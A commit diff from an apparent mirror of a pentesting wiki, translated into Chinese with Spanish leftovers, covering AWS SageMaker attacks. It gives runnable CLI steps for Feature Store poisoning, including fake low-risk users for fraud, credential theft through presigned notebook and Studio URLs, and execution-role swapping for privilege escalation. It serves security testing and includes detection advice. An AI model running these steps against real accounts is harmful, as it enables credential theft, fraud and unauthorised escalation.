mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -1,50 +1,160 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
滥用 `sagemaker:PutRecord` 在启用了 OnlineStore 的 Feature Group 上覆盖在线推理所使用的实时特征值。结合 `sagemaker:GetRecord`,攻击者可以读取敏感特征。此操作不需要访问模型或端点。
|
||||
滥用 `sagemaker:PutRecord` 对启用了 OnlineStore 的 Feature Group 进行写入,以覆盖被在线推理使用的实时特征值。配合 `sagemaker:GetRecord`,攻击者可以读取敏感特征并外泄机密的 ML 数据。此攻击不需要访问模型或端点,因此是直接的数据层攻击。
|
||||
|
||||
## 要求
|
||||
- 权限:`sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- 目标:启用了 OnlineStore 的 Feature Group(通常用于实时推理)
|
||||
- 权限: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- 目标:启用了 OnlineStore 的 Feature Group(通常用于支持实时推理)
|
||||
- 复杂度: **LOW** - 简单的 AWS CLI 命令,无需修改模型
|
||||
|
||||
## 步骤
|
||||
1) 选择或创建一个用于测试的小型 Online Feature Group
|
||||
|
||||
### 侦察
|
||||
|
||||
1) 列出启用 OnlineStore 的 Feature Groups
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
--region $REGION \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) 描述目标 Feature Group 以了解其 schema
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
注意 `RecordIdentifierFeatureName`、`EventTimeFeatureName` 和所有特征定义。这些是构造有效记录所必需的。
|
||||
|
||||
### 攻击场景 1: Data Poisoning (覆盖现有记录)
|
||||
|
||||
1) 读取当前合法记录
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) 使用内联 `--record` 参数将记录投毒为恶意值
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
|
||||
aws sagemaker-featurestore-runtime put-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record "[
|
||||
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
|
||||
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
|
||||
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
|
||||
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
|
||||
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) 验证被投毒的数据
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**影响**:消费此特征的 ML 模型现在会看到合法用户的 `risk_score=0.99`,可能导致其交易或服务被阻止。
|
||||
|
||||
### 攻击场景 2:恶意数据注入(创建伪造记录)
|
||||
|
||||
注入具有被操纵特征的全新记录以规避安全控制:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Create fake user with artificially low risk to perform fraudulent transactions
|
||||
aws sagemaker-featurestore-runtime put-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record "[
|
||||
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
|
||||
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
|
||||
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
|
||||
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
|
||||
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
验证注入:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**影响**: 攻击者创建一个风险评分很低(0.01)的虚假身份,能够进行高价值的欺诈性交易而不会触发欺诈检测。
|
||||
|
||||
### 攻击场景 3:敏感数据外泄
|
||||
|
||||
读取多个记录以提取机密特征并分析模型行为:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
echo "Exfiltrating data for ${USER_ID}:"
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**影响**: 机密特征(风险评分、交易模式、个人数据)被攻击者暴露。
|
||||
|
||||
### 测试/演示 Feature Group 创建(可选)
|
||||
|
||||
如果你需要创建一个测试 Feature Group:
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
if [ -z "$FG" -o "$FG" = "None" ]; then
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
FG=ht-fg-$ACC-$(date +%s)
|
||||
FG=test-fg-$ACC-$(date +%s)
|
||||
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
|
||||
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
|
||||
|
||||
aws sagemaker create-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-feature-name entity_id \
|
||||
--event-time-feature-name event_time \
|
||||
--feature-definitions "[
|
||||
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
|
||||
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
|
||||
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
|
||||
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
|
||||
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
|
||||
]" \
|
||||
--online-store-config "{\"EnableOnlineStore\":true}" \
|
||||
--role-arn "$ROLE_ARN"
|
||||
|
||||
echo "Waiting for feature group to be in Created state..."
|
||||
for i in $(seq 1 40); do
|
||||
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
|
||||
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
|
||||
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
|
||||
done
|
||||
fi
|
||||
```
|
||||
2) 插入/覆盖 在线记录 (poison)
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
cat > /tmp/put.json << JSON
|
||||
{
|
||||
"FeatureGroupName": "$FG",
|
||||
"Record": [
|
||||
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
|
||||
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
|
||||
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
|
||||
],
|
||||
"TargetStores": ["OnlineStore"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
|
||||
```
|
||||
3) 读取记录以确认已被篡改
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
|
||||
```
|
||||
预期:risk_score 返回 0.99(由攻击者设置),证明能够更改被模型使用的在线特征。
|
||||
|
||||
## Impact
|
||||
- 实时完整性攻击:在不接触端点/模型的情况下,操纵生产模型使用的特征。
|
||||
- 机密性风险:通过 GetRecord 从 OnlineStore 读取敏感特征。
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## 检测
|
||||
|
||||
监控 CloudTrail 以发现可疑模式:
|
||||
- `PutRecord` events from unusual IAM principals or IP addresses
|
||||
- High frequency `PutRecord` or `GetRecord` calls
|
||||
- `PutRecord` with anomalous feature values (e.g., risk_score outside normal range)
|
||||
- Bulk `GetRecord` operations indicating mass exfiltration
|
||||
- Access outside normal business hours or from unexpected locations
|
||||
|
||||
实施异常检测:
|
||||
- 特征值验证(例如,risk_score 必须在 0.0-1.0)
|
||||
- 写入模式分析(频率、时间、来源身份)
|
||||
- 数据漂移检测(特征分布的突然变化)
|
||||
|
||||
## 参考
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -6,34 +6,117 @@
|
||||
|
||||
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
开始创建一个附加了要访问的 IAM Role 的 notebook:
|
||||
开始创建一个 notebook,并将要访问的 IAM Role 附加到该实例上:
|
||||
```bash
|
||||
aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
```
|
||||
响应应包含一个 `NotebookInstanceArn` 字段,其中包含新创建的 notebook 实例的 ARN。然后我们可以使用 `create-presigned-notebook-instance-url` API 生成一个 URL,以便在实例就绪后访问该 notebook 实例:
|
||||
响应应包含一个 `NotebookInstanceArn` 字段,其中包含新创建笔记本实例的 ARN。然后我们可以使用 `create-presigned-notebook-instance-url` API 生成一个 URL,以便在笔记本实例就绪后访问该实例:
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
导航到 URL(使用浏览器)并点击 \`Open JupyterLab\`\` 在右上角,然后向下滚动到 “Launcher” 选项卡,在 “Other” 部分下,点击 “Terminal” 按钮。
|
||||
使用浏览器导航到该 URL 并在右上角点击 `Open JupyterLab``,然后向下滚动到 “Launcher” 选项卡,在 “Other” 部分下点击 “Terminal” 按钮。
|
||||
|
||||
现在可以访问 IAM Role 的元数据凭证。
|
||||
现在可以访问该 IAM Role 的元数据凭证。
|
||||
|
||||
**潜在影响:** Privesc to the sagemaker service role specified.
|
||||
**潜在影响:** 对指定的 sagemaker service role 进行 Privesc。
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
如果上面已有 Jupyter **notebooks 已经在运行** 并且你可以使用 `sagemaker:ListNotebookInstances` 列出它们(或通过任何其他方式发现它们),你可以**为它们生成一个 URL、访问它们,并按前面技术所示窃取凭证**。
|
||||
如果其上已有正在运行的 Jupyter notebooks,并且你可以使用 `sagemaker:ListNotebookInstances` 列出它们(或以任何其他方式发现它们)。你可以**为它们生成一个 URL,访问它们,并像前面的技术所示那样窃取凭证**。
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
**潜在影响:** Privesc 到附加的 sagemaker 服务角色。
|
||||
**可能影响:** 对附加的 sagemaker service role 的 Privesc。
|
||||
|
||||
|
||||
## `sagemaker:CreatePresignedDomainUrl`
|
||||
|
||||
> [!WARNING]
|
||||
> 此攻击仅适用于旧的传统 SageMaker Studio 域,不适用于由 SageMaker Unified Studio 创建的域。由 Unified Studio 创建的域会返回错误: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
|
||||
|
||||
拥有在目标 Studio `UserProfile` 上调用 `sagemaker:CreatePresignedDomainUrl` 权限的身份,可以生成一个登录 URL,直接以该 profile 的身份认证进入 SageMaker Studio。此举会在攻击者的浏览器中创建一个继承该 profile 的 `ExecutionRole` 权限的 Studio 会话,并完全访问该 profile 基于 EFS 的 home 和 apps。不需要 `iam:PassRole` 或控制台访问。
|
||||
|
||||
**Requirements**:
|
||||
- 一个 SageMaker Studio 的 `Domain`,以及其中的目标 `UserProfile`。
|
||||
- 攻击者主体需要在目标 `UserProfile` 上拥有 `sagemaker:CreatePresignedDomainUrl`(资源级别)或 `*`。
|
||||
|
||||
Minimal policy example (scoped to one UserProfile):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedDomainUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
**滥用步骤**:
|
||||
|
||||
1) Enumerate 可针对的 Studio Domain 和 UserProfiles
|
||||
```bash
|
||||
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
|
||||
aws sagemaker list-user-profiles --domain-id-equals $DOM
|
||||
TARGET_USER=<UserProfileName>
|
||||
```
|
||||
2) 检查是否未使用 unified studio(攻击仅适用于传统 SageMaker Studio 域)
|
||||
```bash
|
||||
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
|
||||
# If you get info about unified studio, this attack won't work
|
||||
```
|
||||
3) 生成一个 presigned URL (默认有效期约 5 分钟)
|
||||
```bash
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id $DOM \
|
||||
--user-profile-name $TARGET_USER \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
4) 在浏览器中打开返回的 URL,以目标用户身份登录 Studio。在 Studio 内的 Jupyter 终端中验证有效身份或 exfiltrate the token:
|
||||
```bash
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
注意:
|
||||
- `--landing-uri` 可以省略。某些值(例如 `app:JupyterLab:/lab`)可能会根据 Studio 的版本/变体被拒绝;默认通常会重定向到 Studio 主页,然后到 Jupyter。
|
||||
- 组织策略/VPC endpoint 限制仍可能阻止网络访问;令牌签发不需要控制台登录或 `iam:PassRole`。
|
||||
|
||||
**潜在影响**:可以通过假定任何其 ARN 被允许的 Studio `UserProfile` 来实现横向移动和权限提升,继承其 `ExecutionRole` 以及文件系统/应用程序。
|
||||
|
||||
|
||||
### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`
|
||||
|
||||
具有调用 `sagemaker:CreatePresignedMlflowTrackingServerUrl` 权限的主体(以及用于后续访问的 `sagemaker-mlflow:AccessUI`、`sagemaker-mlflow:SearchExperiments`)针对目标 SageMaker MLflow Tracking Server,可以生成一次性预签名 URL,直接对该服务器的托管 MLflow UI 进行身份验证。这将授予与合法用户相同的访问权限(查看/创建实验和运行,并在服务器的 S3 工件存储中下载/上传工件)。
|
||||
|
||||
**要求:**
|
||||
- 账户/区域内的 SageMaker MLflow Tracking Server 及其名称。
|
||||
- 攻击者主体需要在目标 MLflow Tracking Server 资源上具有 `sagemaker:CreatePresignedMlflowTrackingServerUrl`(或 `*`)权限。
|
||||
|
||||
**滥用步骤**:
|
||||
|
||||
1) 枚举你可以攻击的 MLflow Tracking Servers 并选择一个名称
|
||||
```bash
|
||||
aws sagemaker list-mlflow-tracking-servers \
|
||||
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
|
||||
TS_NAME=<tracking-server-name>
|
||||
```
|
||||
2) 生成一个预签名的 MLflow UI URL(短时间内有效)
|
||||
```bash
|
||||
aws sagemaker create-presigned-mlflow-tracking-server-url \
|
||||
--tracking-server-name "$TS_NAME" \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) 在浏览器中打开返回的 URL,以作为该 Tracking Server 的已认证用户访问 MLflow UI。
|
||||
|
||||
**Potential Impact:** 对目标 Tracking Server 的托管 MLflow UI 的直接访问,允许在服务器配置强制的权限范围内查看和修改 experiments/runs,并检索或上传存储在服务器配置的 S3 artifact store 中的 artifacts。
|
||||
|
||||
|
||||
### `sagemaker:CreateProcessingJob`, `iam:PassRole`
|
||||
|
||||
拥有这些权限的攻击者可以让 **SageMaker 执行一个 processing job** 并附带一个 SageMaker 角色。通过重用其中一个已经包含 Python 的 AWS Deep Learning Containers(并且在与 URI 相同的区域运行该作业),你可以内联运行代码而无需构建自定义镜像:
|
||||
具有这些权限的攻击者可以让 **SageMaker 执行一个 processing job**,并附带一个 SageMaker role。通过重用已包含 Python 的 AWS Deep Learning Containers 之一(并在与该 URI 相同的区域运行该作业),你可以在不构建自定义镜像的情况下内联执行代码:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-arn-role>
|
||||
@@ -49,11 +132,11 @@ aws sagemaker create-processing-job \
|
||||
|
||||
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
|
||||
```
|
||||
**潜在影响:** 对指定的 sagemaker 服务角色的 Privesc。
|
||||
**Potential Impact:** 对指定的 sagemaker service role 的 Privesc。
|
||||
|
||||
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
||||
|
||||
拥有这些权限的攻击者可以启动一个 training job,从而使用指定的角色执行任意代码。使用 SageMaker 的官方容器并通过覆盖 entrypoint 注入 payload inline,无需构建自定义镜像:
|
||||
拥有这些权限的攻击者可以启动一个训练作业,使用指定的角色执行任意代码。使用官方 SageMaker 容器并用 inline payload 覆盖 entrypoint,你不需要构建自有镜像:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-role-to-abuse>
|
||||
@@ -73,11 +156,11 @@ aws sagemaker create-training-job \
|
||||
|
||||
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
|
||||
```
|
||||
**Potential Impact:** Privesc 到指定的 SageMaker 服务角色。
|
||||
**潜在影响:** 对所指定的 SageMaker 服务角色 的 Privesc。
|
||||
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
具有这些权限的攻击者可以启动一个 HyperParameter Tuning Job,在所提供的角色下运行攻击者控制的代码。Script mode 要求将 payload 托管在 S3 中,但所有步骤可以从 CLI 自动化:
|
||||
拥有这些权限的攻击者可以启动一个 HyperParameter Tuning Job,在所提供的角色下运行攻击者控制的代码。Script mode 需要将 payload 托管在 S3 中,但所有步骤可以从 CLI 自动化:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-role-to-abuse>
|
||||
@@ -183,28 +266,28 @@ aws sagemaker create-hyper-parameter-tuning-job \
|
||||
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
|
||||
--training-job-definition file:///tmp/hpo-definition.json
|
||||
```
|
||||
Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.
|
||||
该进程启动的每次训练都会打印指标并外泄指定角色的凭证。
|
||||
|
||||
### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
|
||||
|
||||
### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio 角色置换 (no `iam:PassRole`)
|
||||
拥有更新 SageMaker Studio User Profile、创建应用、生成应用的预签名 URL 以及 `iam:PassRole` 权限后,攻击者可以将 `ExecutionRole` 设置为任何 SageMaker 服务主体可承担的 IAM 角色。为该 profile 启动的新 Studio 应用将以被替换的角色运行,通过 Jupyter 终端或由 Studio 启动的作业提供交互式提升权限。
|
||||
|
||||
Prioridad de ExecutionRole:
|
||||
> [!WARNING]
|
||||
> 此攻击要求配置文件中没有任何应用,否则应用创建会失败并出现类似的错误: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
|
||||
> 如果存在任何应用,则需要 `sagemaker:DeleteApp` 权限先删除它们。
|
||||
|
||||
- `UserProfile` override cualquier valor. Si un perfil define `ExecutionRole`, Studio siempre usará ese rol.
|
||||
- `Space` se aplica solo cuando el perfil no tiene rol propio; de lo contrario, prevalece el del perfil.
|
||||
- `Domain DefaultUserSettings` actúa como último recurso cuando ni perfil ni espacio definen un rol.
|
||||
|
||||
如果具有更新 SageMaker Studio User Profile(或 Space/Domain)的权限,攻击者可以将 `ExecutionRole` 设置为任何 SageMaker 服务主体可假定的 IAM role。与作业创建 API 不同,Studio profile 更新 API 不需要 `iam:PassRole`。为该 profile 启动的新 Studio 应用将以被替换的 role 运行,从而通过 Jupyter 终端或从 Studio 启动的作业获得交互式提升权限。
|
||||
|
||||
步骤:
|
||||
步骤:
|
||||
```bash
|
||||
# 1) List Studio user profiles and pick a target
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
|
||||
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
|
||||
|
||||
# 2) Update the Studio profile to use the new role (no iam:PassRole)
|
||||
# 3) Update the Studio profile to use the new role (no iam:PassRole)
|
||||
aws sagemaker update-user-profile \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
@@ -215,18 +298,59 @@ aws sagemaker describe-user-profile \
|
||||
--user-profile-name <USER> \
|
||||
--query 'UserSettings.ExecutionRole' --output text
|
||||
|
||||
# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
|
||||
aws sagemaker update-space \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--space-name <SPACE> \
|
||||
--space-settings ExecutionRole=$ROLE_ARN
|
||||
# 3.1) Optional if you need to delete existing apps first
|
||||
# List existing apps
|
||||
aws sagemaker list-apps \
|
||||
--domain-id-equals <DOMAIN_ID>
|
||||
|
||||
aws sagemaker describe-space \
|
||||
# Delete an app
|
||||
aws sagemaker delete-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--space-name <SPACE> \
|
||||
--query 'SpaceSettings.ExecutionRole' --output text
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name <APP_NAME>
|
||||
|
||||
# 4) Optionally, change the domain default so every profile inherits the new role
|
||||
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name <APP_NAME>
|
||||
|
||||
|
||||
# 5) Generate a presigned URL to access Studio with the new domain default role
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
# (should show the high-privilege role from domain defaults)
|
||||
|
||||
```
|
||||
**Potential Impact**: 在交互式 Studio 会话中,升级到指定 SageMaker 执行角色的权限。
|
||||
|
||||
|
||||
### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
|
||||
|
||||
如果拥有更新 SageMaker Studio Domain、创建 app、为该 app 创建 presigned URL 和 `iam:PassRole` 的权限,攻击者可以将域的默认 `ExecutionRole` 设置为 SageMaker 服务主体可以假设的任何 IAM 角色。为该 profile 启动的新 Studio 应用将以被替换的角色运行,从而通过 Jupyter 终端或从 Studio 启动的作业获得交互式的提升权限。
|
||||
|
||||
> [!WARNING]
|
||||
> 此攻击要求域中没有应用,否则创建应用会失败并出现错误: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`
|
||||
|
||||
步骤:
|
||||
```bash
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
|
||||
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
|
||||
|
||||
# 3) Change the domain default so every profile inherits the new role
|
||||
aws sagemaker update-domain \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--default-user-settings ExecutionRole=$ROLE_ARN
|
||||
@@ -235,24 +359,88 @@ aws sagemaker describe-domain \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--query 'DefaultUserSettings.ExecutionRole' --output text
|
||||
|
||||
# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
|
||||
aws sagemaker create-app \
|
||||
# 3.1) Optional if you need to delete existing apps first
|
||||
# List existing apps
|
||||
aws sagemaker list-apps \
|
||||
--domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Delete an app
|
||||
aws sagemaker delete-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-atk
|
||||
--app-name <APP_NAME>
|
||||
|
||||
# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
|
||||
# aws sts get-caller-identity # should reflect the new ExecutionRole
|
||||
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-domain-escalated
|
||||
|
||||
# 5) Generate a presigned URL to access Studio with the new domain default role
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
# (should show the high-privilege role from domain defaults)
|
||||
```
|
||||
**潜在影响**:在交互式 Studio 会话中,获得指定的 SageMaker 执行角色的权限。
|
||||
**潜在影响**: Privilege escalation,以获取指定 SageMaker execution role 在交互式 Studio 会话中的权限。
|
||||
|
||||
### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`
|
||||
|
||||
拥有在目标 UserProfile 上创建 SageMaker Studio app 权限的攻击者,可以启动一个以该 profile 的 `ExecutionRole` 运行的 JupyterServer app。这样可以通过 Jupyter 终端或从 Studio 启动的作业交互式访问该角色的权限。
|
||||
|
||||
步骤:
|
||||
```bash
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# 3) Create a JupyterServer app for the user profile
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-privesc
|
||||
|
||||
# 4) Generate a presigned URL to access Studio
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
```
|
||||
**潜在影响**: 可交互访问附加到目标 UserProfile 的 SageMaker 执行角色。
|
||||
|
||||
|
||||
## 参考资料
|
||||
### `iam:GetUser`, `datazone:CreateUserProfile`
|
||||
|
||||
具有这些权限的攻击者可以通过为该用户创建 DataZone User Profile,使该 IAM user 获得对 Sagemaker Unified Studio Domain 的访问权限。
|
||||
```bash
|
||||
# List domains
|
||||
aws datazone list-domains --region us-east-1 \
|
||||
--query "items[].{Id:id,Name:name}" \
|
||||
--output json
|
||||
|
||||
# Add IAM user as a user of the domain
|
||||
aws datazone create-user-profile \
|
||||
